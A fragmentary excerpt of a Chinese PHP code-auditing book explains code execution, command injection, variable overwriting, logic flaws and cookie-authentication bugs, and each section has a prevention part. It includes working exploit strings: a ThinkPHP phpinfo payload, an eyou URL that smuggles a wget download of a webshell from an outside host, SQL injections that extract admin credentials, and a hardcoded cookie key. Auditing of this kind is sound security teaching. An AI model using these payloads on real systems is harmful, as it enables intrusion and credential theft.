    {"text": "// 解析剩余的 URL 参数 $res = preg_replace （ '@ （ \\w+ ） '.$depr.' （ [^'.$depr.'\\/]+ ） @e' ， '$var [\\'\\\\1\\']=\"\\\\2\" ；"},
    {"text": "} 可以看到这里使用preg_replace（）函数，我们在前面已经介绍了关于这个函数的代码执行漏洞，这个函数里面的变量为$depr和$paths，代码中的这句话： $depr = C （ 'URL_PATHINFO_DEPR' ）； 是取得配置中的参数分隔符，下面这句话： $paths = explode （ $depr ， trim （ $_SERVER['PATH_INFO'] ， '/' ））； 则是从$_SERVER['PATH_INFO']中以$depr为分隔符分割后的数组，而后面又用implode（）函数还原成字符串才带入preg_replace（）函数，关键在于： '$var[\\'\\\\1\\']=\"\\\\2\" ； ' 代码的意思是，把正则匹配出来的参数1初始化到$var变量中，并且赋值为参数2的值，问题是这段代码在赋值的时候使用的是双引号（\"），在PHP中，如果字符串使用双引号括起来，中间的变量是会正常解析的，如： < ？"},
    {"text": "> 会输出1，而不是$a，利用这个特性，再结合PHP可变变量即可执行任意代码，最终EXP为： /index.php/module/action/param1/${@phpinfo （） } 5.2.2 漏洞防范 采用参数白名单过滤，在可预测满足正常业务的参数情况下，这是非常实用的方式，这里的白名单并不是说完全固定为参数，因为在eval（）、assert（）和preg_replace（）函数的参数中大部分是不可预测一字不差的，我们可以结合正则表达式来进行白名单限制，用上面的thinkphp来举例，如果我们事先已经知道这个URL里面的第二个参数值由数字构成即可满足业务需求，则可以在正则里用\\d+来限制第二个参数内容，这样相对更加安全，用代码举例更加清晰易懂，代码如下： < ？"},
    {"text": "a=b|${@phpinfo（）}即可执行phpinfo（）函数，这时候如果我们知道\\\\2的值范围为纯数字，只要正则改成（\\w+）\\|（\\d+）即可解决执行代码的问题，这只是一种修复方案，最好的方法是：在$\\\\1=\"\\\\2\"这里不要用双引号。"},
    {"text": "5.3 命令执行漏洞 代码执行漏洞指的是可以执行PHP脚本代码，而命令执行漏洞指的是可以执行系统或者应用指令（如CMD命令或者bash命令）的漏洞，PHP的命令执行漏洞主要基于一些函数的参数过滤不严导致，可以执行命令的函数有system（）、exec（）、shell_exec（）、passthru（）、pcntl_exec（）、popen（）、proc_open（），一共七个函数，另外反引号（`）也可以执行命令，不过实际上这种方式也是调用的shell_exec（）函数。 PHP执行命令是继承WebServer用户的权限，这个用户一般都有权限向Web目录写文件，可见该漏洞的危害性相当大。 5.3.1 挖掘经验 命令执行漏洞最多出现在包含环境包的应用里，类似于eyou（亿邮）这类产品，直接在系统安装即可启动自带的Web服务和数据库服务，一般这类的产品会有一些额外的小脚本来协助处理日志以及数据库等，Web应用会有比较多的点之间使用system（）、exec（）、shell_exec（）、passthru（）、pcntl_exec（）、popen（）、proc_open（）等函数执行系统命令来调用这些脚本，用得多了难免就会出现纰漏导致漏洞，这类应用可以直接在代码里搜这几个函数，收获应该会不少。 除了这类应用，还有像discuz等应用也有调用外部程序的功能，如数据库导出功能，曾经就出现过命令执行漏洞，因为特征比较明显，所以可以直接搜函数名即可进行漏洞挖掘。 5.3.1.1 命令执行函数 上面我们说到有七个常用函数可以执行命令，包括system（）、exec（）、shell_exec（）、passthru（）、pcntl_exec（）、popen（）、proc_open（），另外还有反引号（`）也一样可以执行命令，下面我们来看看它们的执行方式。 这些函数里system（）、exec（）、shell_exec（）、passthru（）以及反引号（`）是可以直接传入命令并且函数会返回执行结果，比较简单和好理解，其中system（）函数会直接回显结果打印输出，不需要echo也可以，我们来用代码举例。"},
    {"text": "pcntl是PHP的多进程处理扩展，在处理大量任务的情况下会使用到，使用pcntl需要额外安装，它的函数说明如下： void pcntl_exec （ string $path [ ， array $args [ ， array $envs ]] ） 图 5-11 其中$path为可执行程序路径，如果是Perl或者Bash脚本，则需要在文件头加上#！"},
    {"text": "popen（）、proc_open（）函数不会直接返回执行结果，而是返回一个文件指针，但命令是已经执行了，我们主要关心的是这个。 下面我们看看popen（）的用法，它需要两个参数，一个是执行的命令，另外一个是指针文件的连接模式，有r和w代表读和写。"},
    {"text": "5.3.1.2 反引号命令执行 上面我们讲到反引号（`）也可以执行命令，它的写法很简单，实际上反引号（`）执行命令是调用的shell_exec（）函数，为什么这么说？"},
    {"text": "> 这段代码正常执行的情况下是会输出当前用户名的，而我们在php.ini里面把PHP安全模式打开一下，再重启下WebServer重新加载PHP配置文件，再执行这段代码的时候，我们会看到下面这个提示： Warning ： shell_exec （） [function.shell-exec] ： Cannot execute using backquotes in Safe Mode in D ： \\www\\test\\1.php on line 2 这个提示说明反引号执行命令的方式是使用的shell_exec（）函数。"},
    {"text": "5.3.1.3 亿邮命令执行漏洞分析 命令执行的漏洞案例还是有很多的，这里挑选笔者自己挖到的比较经典的一个eyou（亿邮）的命令执行漏洞，重点在于漏洞的逻辑，而不在于漏洞的影响力有多大。"},
    {"text": "php //-- 获得 UID ， DOMAIN ， TOKEN $uid = $_GET['uid'] ； // 从 GET 中获取 uid 参数 $domain=$_GET['domain'] ； // 从 GET 中获取 domain 参数 $token = $_GET['token'] ；"},
    {"text": "if （（ int ） $_SERVER['CONTENT_LENGTH'] > $multiplier* （ int ） $POST_MAX_SIZE && $POST_MAX_SIZE ） { header （ \"HTTP/1.1 500 Internal Server Error\" ）； echo \"POST exceeded maximum allowed size.\" ；"},
    {"text": "} //-- 获得附件存放路径 存在用户的 token 目录下 $save_path = getUserDirPath （ $uid ， $domain ）； // 传入 uid 参数到 getUserDirPath （）函数 从代码中可以看出，$uid=$_GET['uid']； 表示从GET中获取uid参数，在下面一点将$uid变量传递到了getUserDirPath（）函数，跟进该函数，在/inc/function.php文件，代码如下： function getUserDirPath （ $uid ， $domain ） { $cmd = \"/var/eyou/sbin/hashid $uid $domain\" ；"},
    {"text": "可以看到$uid和$domain变量都是从GET请求中获取的，最终通过反引号（`）来执行，所以我们可以直接注入命令，最终exp为： /swfupload/upload_files.php ？ uid=|wget+http ： //www.x.com/1.txt+-O+/var/eyou/apache/htdocs/swfupload/a.php&domain= 表示下载http://www.x.com/1.txt到/var/eyou/apache/htdocs/swfupload/a.php文件。"},
    {"text": "5.3.2 漏洞防范 关于命令执行漏洞的防范大致有两种方式：一种是使用PHP自带的命令防注入函数，包括escapeshellcmd（）和escapeshellarg（），其中escapeshellcmd（）是过滤的整条命令，所以它的参数是一整条命令，escapeshellarg（）函数则是用来保证传入命令执行函数里面的参数确实是以字符串参数形式存在的，不能被注入。"},
    {"text": "5.3.2.1 命令防注入函数 PHP在SQL防注入上有addslashes（）和mysql_[real_]escape_string（）等函数过滤SQL语句，在命令上也同样有防注入函数，一共有两个escapeshellcmd（）和escapeshellarg（），从函数名我们可以看出，escapeshellcmd（）是过滤的整条命令，它的函数说明如下： string escapeshellcmd （ string $command ） 输入一个string类型的参数，为要过滤的命令，返回过滤后的string类型的命令，过滤的字符为'&'、'；"},
    {"text": "'、'~'、'<'、'>'、'^'、'（'、'）'、'['、']'、'{'、'}'、'$'、'\\'、'\\x0A'、'\\xFF'、’%’，'和\"仅仅在不成对的时候被转义，我们在Windows环境测试下，测试代码： < ？"},
    {"text": "escapeshellarg（）函数的功能则是过滤参数，将参数限制在一对双引号里，确保参数为一个字符串，因此它会把双引号替换为空格，我们来测试一下： < ？"},
    {"text": "> 图 5-12 最终输出为ls\"a\" 5.3.2.2 参数白名单 参数白名单方式在大多数由于参数过滤不严产生的漏洞中都很好用，是一种通用修复方法，我们之前已经讲过，可以在代码中或者配置文件中限定某些参数，在使用的时候匹配一下这个参数在不在这个白名单列表中，如果不在则直接显示错误提示即可，具体的实施代码这里不再重复。"},
    {"text": "第6章 漏洞挖掘与防范（深入篇） 在学习完基础篇和进阶篇之后，你是否对代码审计有了相对透彻的了解呢？相信现在挖掘一些常见漏洞对你来说已经so easy，那么我们将开始进入下一阶段“深入篇”。在本章，我们会介绍更多PHP特性相关的漏洞，另外对于有逻辑的漏洞也会在这篇开始介绍，是否准备好了呢？"},
    {"text": "6.1 变量覆盖漏洞 变量覆盖指的是可以用我们自定义的参数值替换程序原有的变量值，变量覆盖漏洞通常需要结合程序的其他功能来实现完整攻击，这个漏洞想象空间非常大，比如原本一个文件上传页面，限制的文件扩展名白名单列表写在配置文件中变量中，但是在上传的过程中有一个变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表，那我们就可以覆盖进去一个PHP的扩展名，从而上传一个PHP的shell。 变量覆盖漏洞大多由函数使用不当导致，经常引发变量覆盖漏洞的函数有：extract（）函数和parse_str（），import_request_variables（）函数则是用在没有开启全局变量注册的时候，调用了这个函数则相当于开启了全局变量注册，在PHP 5.4之后这个函数已经被取消。 另外部分应用利用$$的方式注册变量没验证已有变量导致覆盖也是国内多套程序都犯过的一个问题，这些应用在使用外部传递进来的参数时不是用类似于$_GET['key']这样原始的数组变量，而是把里面的key注册成了一个变量$key，注册过程中由于没有验证该变量是否已经存在就直接赋值，所以导致已有的变量值会被覆盖掉。 6.1.1 挖掘经验 由于变量覆盖漏洞通常要结合应用其他功能代码来实现完整攻击，所以挖掘一个可用的变量覆盖漏洞不仅仅要考虑的是能够实现变量覆盖，还要考虑后面的代码能不能让这个漏洞利用起来。 要挖可用的变量覆盖漏洞，一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。 由函数导致的变量覆盖比较好挖掘，只要搜寻参数带有变量的extract（）、parse_str（）函数，然后去回溯变量是否可控，extract（）还要考虑它的第二个参数，具体细节我们后面在详细介绍这个函数的时候再讲。 import_request_variables（）函数则相当于开了全局变量注册，这时候只要找哪些变量没有初始化并且操作之前没有赋值的，然后就大胆地去提交这个变量作为参数吧，另外只要写在import_request_variables（）函数前面的变量，不管是否已经初始化都可以覆盖，不过这个函数在PHP 4~4.1.0和PHP 5~5.4.0的版本可用。 关于上面我们说到国内很多程序使用双$$符号注册变量会导致变量覆盖，我们可以通过搜“$$”这个关键字去挖掘，不过建议挖掘之前还是先把几个核心文件通读一遍，了解程序的大致框架。 6.1.1.1 函数使用不当 目前变量覆盖漏洞大多都是由于函数使用不正确导致的，这些函数有extract（）、parse_str（）以及import_request_variables（），而其中最常见的就是extract（）这个函数了，使用频率最高，导致的漏洞数量也最多，下面我们分别来看看这几个函数导致的漏洞原理吧。 1.extract函数 extract（）函数覆盖变量需要一定条件，它的官方功能说明为“从数组中将变量导入到当前的符号表”，通俗讲就是将数组中的键值对注册成变量，函数结构如下： int extract （ array &$var_array [ ， int $extract_type = EXTR_OVERWRITE [ ， string $prefix = NULL ]] ） 最多三个参数，我们来看看这三个参数的作用，参见表6-1。 表 6-1 从以上说明我们可以看到第一个参数是必须的，会不会导致变量覆盖漏洞由第二个参数决定，该函数有三种情况会覆盖掉已有变量，第一种是第二个参数为EXTR_OVERWRITE，它表示如果有冲突，则覆盖已有的变量。 第二种情况是只传入第一个参数，这时候默认为EXTR_OVERWRITE模式，而第三种则是第二个参数为EXTR_IF_EXISTS，它表示仅在当前符号表中已有同名变量时，覆盖它们的值，其他的都不注册新变量。"},
    {"text": "2.parse_str函数 parse_str（）函数的作用是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否已经存在，所以会直接覆盖掉已有变量。 parse_str（）函数有两个参数，函数说明如下： void parse_str （ string $str [ ， array &$arr ] ） 其中$str是必须的，代表要解析注册成变量的字符串，形式为“a=1”，经过parse_str（）函数之后会注册变量$a并且赋值为1。 第二个参数$arr是一个数组，当第二个参数存在时，注册的变量会放到这个数组里面，但是如这个数组原来就存在相同的键（key），则会覆盖掉原有的键值。"},
    {"text": "图 6-2 3.import_request_variables函数 import_request_variables（）函数作用是把GET、POST、COOKIE的参数注册成变量，用在register_globals被禁止的时候，需要PHP 4.1至5.4之间的版本，不过建议是不开启register_globals也不要使用import_request_variables（）函数，这样容易导致变量覆盖。 该函数的说明如下： bool import_request_variables （ string $types [ ， string $prefix ] ） 其中$type代表要注册的变量，G代表GET，P代表POST，C代表COOKIE，所以当$type为GPC的时候，则会注册GET、POST、COOKIE参数为变量。 第二个参数$prefix为要注册的变量前缀，这里我们不细说，来看看它是怎么覆盖变量的，测试代码如下： < ？"},
    {"text": "图 6-3 6.1.1.2 $$变量覆盖 曾经有一段很经典的$$注册变量导致变量覆盖的代码，在很多应用上面都出现过这个问题，这段代码如下： foreach （ array （ '_COOKIE' ， '_POST' ， '_GET' ） as $_request ） { foreach （ $$_request as $_key => $_value ） { $$_key = addslashes （ $_value ）； } } 为什么它会导致变量覆盖呢，重点在$$符号，从代码中我们可以看出$_key为COOKIE、POST、GET中的参数，比如提交？"},
    {"text": "图 6-4 6.1.1.3 Metinfo变量覆盖漏洞分析 由于之前笔者挖到的这类漏洞没有记录，所以这里的案例是笔者临时看了一下metinfo的代码找的，我们尝试用它的变量覆盖漏洞进行SQL注入，在metinfo的include/common.inc.php文件中代码如下： < ？"},
    {"text": "php /**** 省略 ******/ $db_settings = parse_ini_file （ ROOTPATH.'config/config_db.php' ）； @extract （ $db_settings ）； //require_once ROOTPATH.'config/tablepre.php' ； require_once ROOTPATH.'include/mysql_class.php' ； $db = new dbmysql （）； $db->dbconn （ $con_db_host ， $con_db_id ， $con_db_pass ， $con_db_name ）；"},
    {"text": "isset （ $_REQUEST['GLOBALS'] ） && exit （ 'Access Error' ）； require_once ROOTPATH.'include/global.func.php' ； foreach （ array （ '_COOKIE' ， '_POST' ， '_GET' ） as $_request ） { foreach （ $$_request as $_key => $_value ） { $_key{0} ！ = '_' && $$_key = daddslashes （ $_value ）； } } $query=\"select * from {$tablepre}config where name='met_tablename' and lang='metinfo'\" ； $mettable=$db->get_one （ $query ）； $mettables=explode （ '|' ， $mettable[value] ）； foreach （ $mettables as $key=>$val ） { $tablename='met_'.$val ； $$tablename=$tablepre.$val ；"},
    {"text": "} 变量覆盖核心的代码如下： foreach （ array （ '_COOKIE' ， '_POST' ， '_GET' ） as $_request ） { foreach （ $$_request as $_key => $_value ） { $_key{0} ！"},
    {"text": "} } 这就是上面我们据介绍过的$$变量覆盖的经典代码，在这段代码之前的变量，我们都可以覆盖掉，包括数据库配置，这样就能搭建远程数据库服务以登录后台，不过我们只是为了说明这个漏洞，所以不搞那么复杂，可以看到下面有一个SQL语句中使用了$tablepre变量： $query=\"select * from {$tablepre}config where name='met_tablename' and lang='metinfo'\" ；"},
    {"text": "tablepre=mysql.user limit 1 %23 则执行的SQL语句为： select * from mysql.user limit 1 #config where name='met_tablename' and lang='metinfo' 我们在以上代码的最后加上： echo $tablepre.'<br/>' ；"},
    {"text": "图 6-5 6.1.2 漏洞防范 变量覆盖漏洞最常见漏洞点是在做变量注册时没有验证变量是否存在，以及在赋值给变量的时候，所以我们推荐使用原始的变量数组，如$_GET、$_POST，或者在注册变量前一定要验证变量是否存在。 6.1.2.1 使用原始变量 以上我们说的变量覆盖漏洞都是因为在进行变量注册而导致，所以要解决变量覆盖的问题，最直接的方法就是不进行变量注册，建议直接用原生的$_GET、$_POST等数组变量进行操作，如果考虑程序可读性等原因，需要注册个别变量，可以直接在代码中定义变量，然后再把请求中的值赋值给它。 6.1.2.2 验证变量存在 如果一定要使用前面几种方式注册变量，为了解决变量覆盖的问题，可以在注册变量前先判断变量是否存在，如使用extract（）函数则可以配置第二个参数为EXTR_SKIP。 使用parse_str（）函数注册变量前需要先自行通过代码判断变量是否存在。 笔者不建议使用import_request_variables（）函数注册全局变量，会导致变量不可控。 最重要的一点，自行申明的变量一定要初始化，不然即使注册变量代码在执行流程最前面也能覆盖掉这些未初始化的变量。"},
    {"text": "6.2 逻辑处理漏洞 广义上来说，大多数的漏洞都是由于程序的逻辑失误导致的，都可以叫做逻辑漏洞，但我们这里说的逻辑漏洞没有那么大范围，这里指程序在业务逻辑上面的漏洞，业务逻辑漏洞也是一个不小的范围，在不同的业务场景有不同的漏洞出现，目前逻辑漏洞是各大企业存在最多的漏洞之一，因为逻辑漏洞在挖掘和利用时都需要进行一些逻辑判断，机器代码很难模拟这块的逻辑处理，所以无法用机器批量化扫描检测，检测的少了，现存的漏洞自然就多了。 下面我们从代码层逻辑错误导致的漏洞开始分析，再到应用业务层常见漏洞分析，如支付、找回密码、程序安装等。 6.2.1 挖掘经验 由于业务逻辑漏洞大多都存在逻辑处理以及业务流程中，没有特别明显的关键字可以用来快速定位，通常这类漏洞的挖掘技巧是通读功能点源码，先熟悉这套程序的业务流程，后面挖掘起来就会比较顺畅，值得关注的点是程序是否可重复安装、修改密码处是否可越权修改其他用户密码、找回密码验证码是否可暴力破解以及修改其他用户密码、cookie是否可预测或者说cookie验证是否可绕过等等。 6.2.1.1 等于与存在判断绕过 在逻辑漏洞里，判断函数是非常典型的一个例子，明明学校老师教的，还有官方手册里面写的，都说某某函数在某某情况下会返回true，另外一种情况下会返回false，但是一旦这些函数存在漏洞，可以逃逸这个判断函数，那这个逻辑就可以绕过了，下面我们来看看有哪些常见又有漏洞的判断函数。"},
    {"text": "1.in_array函数 in_array（）函数是用来判断一个值是否在某一个数组列表里面，通常的判断方式如下： in_array （ 'b' ， array （ 'a' ， 'b' ， 'c' ）） 这样是没有什么问题的，我们再看下面这段代码： < ？ php if （ in_array （ $_GET['typeid'] ， array （ 1 ， 2 ， 3 ， 4 ） ）） { $sql=\"select .... where typeid='\".$_GET['typeid'].\"'\" ；"},
    {"text": "这段代码的作用是过滤GET参数typeid在不在1，2，3，4这个数组里面，如果在里面则拼接到SQL语句里，看起来好像是没有什么问题的，但是这个in_array（）函数存在一个问题，比较之前会自动做类型转换，如果我们请求/1.php？ typeid=1'union select...，我们看看最终输出的SQL语句是什么，如图6-6所示。 图 6-6 可以看到我们提交的typeid参数并不全等于1，2，3，4数组里面的任何一个值，但是，还是可以绕过这个检查并且成功注入。"},
    {"text": "} 代码看起来好像也没有什么问题，不过这个函数存在一个问题，当传入的参数为hex时则直接通过并返回true，而MySQL是可以直接使用hex编码代替字符串明文的，所以这块虽然不能直接注入SQL语句，但是存在二次注入和XSS等漏洞隐患，比如当我们提交“<script>alert（1）</scipt>”的hex编码“0x3c7363726970743e616c6572742831293c2f73636970743e”时，最终SQL语句的效果等同于： insert into xx values （ 'xx' ， '<script>alert （ 1 ） </scipt>' ） 如果应用程序有其他地方调用这个值，并且直接输出，则有可能执行这段代码，触发XSS漏洞。"},
    {"text": "3.双等于和三等于 PHP的双等于（==）和三等于（===）的区别，哪一个可能出现安全问题？ 这个问题是我经常在面试的时候提到，它们的区别在于，双等于在判断等于之前会先做变量类型转换，而三等于则不会，由于数据类型被改变，所以双等于在判断的时候可能存在安全风险，下面我们用代码来证明一下，代码如下： < ？"},
    {"text": "图 6-8 6.2.1.2 账户体系中的越权漏洞 越权漏洞分为水平越权和垂直越权，水平越权指原相同等级权限的用户，A用户可以查看或操作到B用户的私有信息，而这个查看或操作权限本来是A用户不该拥有的权限。 垂直权限指不在同权限等级的用户，低权限等级的用户A可以查看或操作高权限等级B的私有信息，而这个查看或操作权限本来是A用户不该拥有的权限。 水平越权和垂直越权的定义不一样，但漏洞原理是一样的，都是账户体系上在判断权限时不严格导致存在绕过漏洞，这一类的绕过通常发生在cookie验证不严、简单判断用户提交的参数，归根结底，都是因为这些参数是在客户端提交，服务器端未严格校验。"},
    {"text": "6.2.1.3 未exit或return引发的安全问题 某些情况下，在经过if条件判断之后，有两种操作，一种是继续执行if后面的代码，另外一种是在if体内退出当前操作，但是这个退出行为，有不少程序忘记写return、die（）或者exit（），导致程序还是会继续执行。"},
    {"text": "php if （ file_exists （ 'install.lock' ））） { // 程序已经安装，跳转到首页 header （ \"Location ： ../\" ）； } // …进入安装流程 很多程序的安装页面install.php文件的内容都有这么一段判断程序是否已经安装的代码，这段代码的意思是，判断“install.lock”文件是否存在，如果存在则跳转到首页，问题出在使用了header（）函数跳转，但是PHP程序并没有退出，还是会进入安装流程。"},
    {"text": "php if （ $_GET['var']==='aa' ） { // 程序已经安装，跳转到首页 header （ \"Location ： ../\" ）； } echo $_GET['var'] ； 当我们用浏览器访问的时候是看不到输出的$_GET参数的，因为浏览器接受到跳转指令后会立马跳转，我们用burp来抓返回的数据如图6-9所示。"},
    {"text": "图 6-9 可以看到输出了“aa”，说明经过header（）函数之后程序依然继续执行了，正确的写法应该是在header（）函数之后加一个exit（）或者die（）。"},
    {"text": "6.2.1.4 常见支付漏洞 曾经有不少体量不小的电子商务网站都出现过支付漏洞，最终导致的结果是不花钱或者花很少的钱买更多的东西，还真的有不少人测试漏洞之后真的收到了东西，这种天上掉馅饼的漏洞太有诱惑力了。 最常见的支付漏洞有四种，下面我们来看看这四种情况在代码审计的时候应该怎么挖。"},
    {"text": "第一、二、三种比较简单，分别是客户端可修改单价、总价和购买数量，服务器端未校验严格导致，比如在支付的时候一般购物车都如图6-10所示。 图 6-10 从图中我们可以看到三个关键元素，单价、总价和数量，这三个数字不管是哪个被改变，都会影响最终成交价格，部分商城程序是直接由单价和数量计算总价，但是并没有验证这两个数字是否小于0，在上图的例子中，驾驶服务器没有验证数量这个数字，我们可以在客户端把数字改成负数然后提交上去，这类的case很多，具体的可以到乌云（wooyun.org）查看，这种形式的支付漏洞，只要我们找到支付功能代码，看看代码过滤情况即可挖掘到。"},
    {"text": "还有一种是以重复发包来利用时间差，以少量的钱多次购买，说到大家以前听过比较多的就是手机刷QQ钻了，也是利用同样的原理，利用手机快速给腾讯发送一条开通QQ业务的短信，发送完之后再快速发送一条取消业务的短信到短信运营商，真正的漏洞出现在短信运营商那边而不是腾讯。"},
    {"text": "我们从图中可以看到一开始程序判断余额足够，然后两个订单都进入到服务开通流程，但是并还没有扣费，我们就是利用这个服务开通流程所花费的时间来多次开通业务。"},
    {"text": "6.2.1.5 Ecshop逻辑错误注入分析 这里我们用一个比较经典的ecshop支付宝支付插件漏洞来分析一下，据说这个漏洞出自360攻防实验室。 漏洞核心代码在\\includes\\modules\\payment\\alipay.php文件respond（）函数，代码如下： function respond （） { if （！"},
    {"text": "empty （ $_POST ）） { foreach （ $_POST as $key => $data ） { $_GET[$key] = $data ； } } $payment = get_payment （ $_GET['code'] ）； $seller_email = rawurldecode （ $_GET['seller_email'] ）； $order_sn = str_replace （ $_GET['subject'] ， '' ， $_GET['out_trade_no'] ）； $order_sn = trim （ $order_sn ）；"},
    {"text": "check_money （ $order_sn ， $_GET['total_fee'] ）） { /*---- 省略 ----*/ $order_sn变量由str_replace（$_GET['subject']，''，$_GET['out_trade_no']）； 控制，我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的反斜杠\\。 最终$order_sn被带入check_money（）函数。 我们跟进看一下在include\\lib_payment.php文件中109行，代码如下： function check_money （ $log_id ， $money ） { $sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table （ 'pay_log' ） . \" WHERE log_id = '$log_id'\" ； $amount = $GLOBALS['db']->getOne （ $sql ）； if （ $money == $amount ） { /*---- 省略 ----*/ 此处就是漏洞现场。 原来的$order_sn被带入了数据库导致注入漏洞存在，这个漏洞的逻辑问题就在于本来一个已经过滤掉特殊字符的参数，又再次被用户自定义提交上来的参数替换，导致原来的过滤符合反斜杠被替换掉，程序员在写代码的时候没有考虑到这块的逻辑问题。"},
    {"text": "php $a=addslashes （ $_GET['a'] ）； $b=addslashes （ $_GET['b'] ）； print_r （ $a.'<br />' ）； print_r （ $b.'<br />' ）； print_r （ str_replace （ $a ， '' ， $b ））；"},
    {"text": "code=alipay&subject=0&out_trade_no=%00 ′ and （ select * from （ select count （ * ）， concat （ floor （ rand （ 0 ） *2 ），（ select concat （ user_name ， password ） from ecs_admin_user limit 1 ）） a from information_schema.tables group by a ） xxx ） -- 1 结果如图6-13所示。"},
    {"text": "图 6-13 6.2.2 漏洞防范 通过分析我们之前列举的几种逻辑漏洞，可以看到所有的逻辑漏洞都是因为开发者对业务逻辑或者代码逻辑理解不清楚导致。 每一种业务功能都有可能导致逻辑漏洞的产生，而业务功能里面的实现逻辑是人思考出来的，所以要解决这类逻辑问题需要注意以下两点： ·要深入熟悉业务逻辑，只有我们熟悉了业务的逻辑，才能根据业务需要编写满足需求而又不画蛇添足的代码。 ·要注意多熟悉函数的功能和差异，因为很多写代码写得很熟悉的人出现bug通常不是因为多一个字母或者少一个分号，而是代码执行逻辑上面考虑不周全导致。"},
    {"text": "6.3 会话认证漏洞 会话认证是一个非常大的话题，涉及各种认证协议和框架，如cookie、session、sso、oauth、openid等，出现问题比较多的在cookie上面，cookie是Web服务器返回给客户端的一段常用来标识用户身份或者认证情况的字符串，保存在客户端，浏览器下次请求时会自动带上这个标识，由于这个标识字符串可以被用户修改，所以存在安全风险，一般这块的认证安全问题都出在服务端直接取用cookie的数据而没有校验，其次是cookie加密数据存在可预测的情况。"},
    {"text": "sso、oauth、openid与cookie、session相比不是一个维度的东西，由于这块在应用代码审计没有什么合适的案例，暂时先不介绍。 6.3.1 挖掘经验 认证漏洞在代码审计的时候能遇到比较多的是出现在cookie验证上面，通常是没有使用session来认证，而是直接将用户信息保存在cookie中，程序使用的时候直接调用。"},
    {"text": "在挖掘登录认证漏洞的时候，可以先看一下程序的登录功能代码，看看整个登录过程的业务逻辑有没有可以控制session值或者直接绕过密码验证的漏洞； 另外需要关注程序验证是否为登录的代码，通俗的说是验证cookie的代码，是不是直接去取cookie里面的值，然后怎么去判断这个值来验证是否登录。 以前见过相当粗糙的验证是直接判断cookie里面的username参数是否为空，还有就是以cookie里面的用户名来作为当前用户，这种情况直接把用户名改成admin等管理员用户名就直接是管理员权限了。 6.3.1.1 cookie认证安全 cookie可以保存任何字符串，各个浏览器保存cookie字节数大小不一样，一般都不超过4096个字节，通常cookie用来保存登录账号的标识信息，比如用户名或者sessionid等，浏览器每次请求的时候都会再次带上对应这个域名的cookie信息，服务器应用程序可以对cookie进行读取修改或者删除等任意操作。 cookie出现问题比较多的是cookie的SQL注入等常见漏洞，以及Web应用程序在服务端直接读取cookie的用户名或者ID值来操作当前这个用户的数据，这里存在很大的一个问题是cookie可以伪造，从而就导致了伪造用户身份登录的漏洞。"},
    {"text": "function login （） { if （账号密码正确） { setcookie （ 'username' ， 'admin' ）； $_SESSION['username'] = 'admin' ； } } // 判断 cookie 里面的用户名是否和 session 里的用户名一致 if （ $_COOKIE['username']===$_SESSION['username'] ） { // 操作 $_SESSION['username'] 用户的数据 } else { login （）；"},
    {"text": "6.3.1.2 Espcms任意用户登录分析 我们这里以乌云漏洞编号为WooYun-2015-90324的“ESPCMS所有版本任意用户登录”漏洞来做一个简单的分析。"},
    {"text": "在文件/interface/memebermain.php的in_center（）函数可以看到如下代码： function in_center （） { if （ $this->CON['mem_isucenter'] ） { include_once admin_ROOT . 'public/uc_client/client.php' ；"},
    {"text": "$db_where = \"userid=$this->ec_member_username_id AND username='$this-> ec_member_username' \" ； $db_table1 = db_prefix . 'member AS a' ； $db_table2 = db_prefix . 'member_value AS b' ； $db_sql = \"SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id \" ； $rsMember = $this->db->fetch_first （ $db_sql ）； $rsMember['rankname'] = $this->get_member_purview （ $rsMember['mcid'] ， 'rankname' ）； $userid = $this->ec_member_username_id ； // 获取 userid if （ empty （ $userid ）） { exit （ 'user err ！"},
    {"text": "} $db_table = db_prefix . \"order\" ； $db_where = \" WHERE userid=$userid\" ； 在代码中$userid=$this->ec_member_username_id； 这行代码设置当前用户ID，随后根据这个$userid变量去直接操作这个id的用户数据，而这个$this->ec_member_username_id变量的值又是从哪来的呢？ 注意代码最开始的地方有调用parent：：member_purview（）函数，我们跟过去看看，在/public/class_connector.php文件的member_purview（）函数，代码如下： function member_purview （ $userrank = false ， $url = null ， $upurl = false ） { $this->ec_member_username = $this->fun->eccode （ $this->fun-> accept （ 'ecisp_member_username' ， 'C' ）， 'DECODE' ， db_pscode ）； $user_info = explode （ '|' ， $this->fun->eccode （ $this->fun-> accept （ 'ecisp_member_info' ， 'C' ）， 'DECODE' ， db_pscode ））； list （ $this->ec_member_username_id ， $this->ec_member_alias ， $this-> ec_member_integral ， $this->ec_member_mcid ， $this->ec_member_email ， $this->ec_member_lastip ， $this->ec_member_ipadd ， $this->ec_member_useragent ， $this->ec_member_adminclassurl ） = $user_info ； 可以看到list（）函数中使用$user_info数组为$this->ec_member_username_id变量进行赋值，而$user_info数组是从cookie中解密出来的，关于这个算法的加密代码在/public/class_function.php文件的eccode（）函数，代码如下： function eccode （ $string ， $operation = 'DECODE' ， $key = '@LFK24s224%@safS3s%1f%' ， $mcrype = true ） { $result = null ；"},
    {"text": "if （ $operation == 'ENCODE' ） { for （ $i = 0 ； $i < strlen （ $string ）； $i++ ） { $char = substr （ $string ， $i ， 1 ）； $keychar = substr （ $key ， （ $i % strlen （ $key ）） - 1 ， 1 ）； $char = chr （ ord （ $char ） + ord （ $keychar ））； $result.=$char ； } $result = base64_encode （ $result ）； $result = str_replace （ array （ '+' ， '/' ， '=' ）， array （ '-' ， '_' ， '' ）， $result ）； } elseif （ $operation == 'DECODE' ） { $data = str_replace （ array （ '-' ， '_' ）， array （ '+' ， '/' ）， $string ）； $mod4 = strlen （ $data ） % 4 ； if （ $mod4 ） { $data .= substr （ '====' ， $mod4 ）； } $string = base64_decode （ $data ）；"},
    {"text": "for （ $i = 0 ； $i < strlen （ $string ）； $i++ ） { $char = substr （ $string ， $i ， 1 ）； $keychar = substr （ $key ， （ $i % strlen （ $key ）） - 1 ， 1 ）； $char = chr （ ord （ $char ） - ord （ $keychar ））； $result.=$char ； } } return $result ；"},
    {"text": "6.3.2 漏洞防范 所有用户输入的值都是不完全可信的，所以在防御认证漏洞之前，我们应该先了解认证的业务逻辑，严格限制输入的异常字符以及避免使用客户端提交上来的内容去直接进行操作。"},
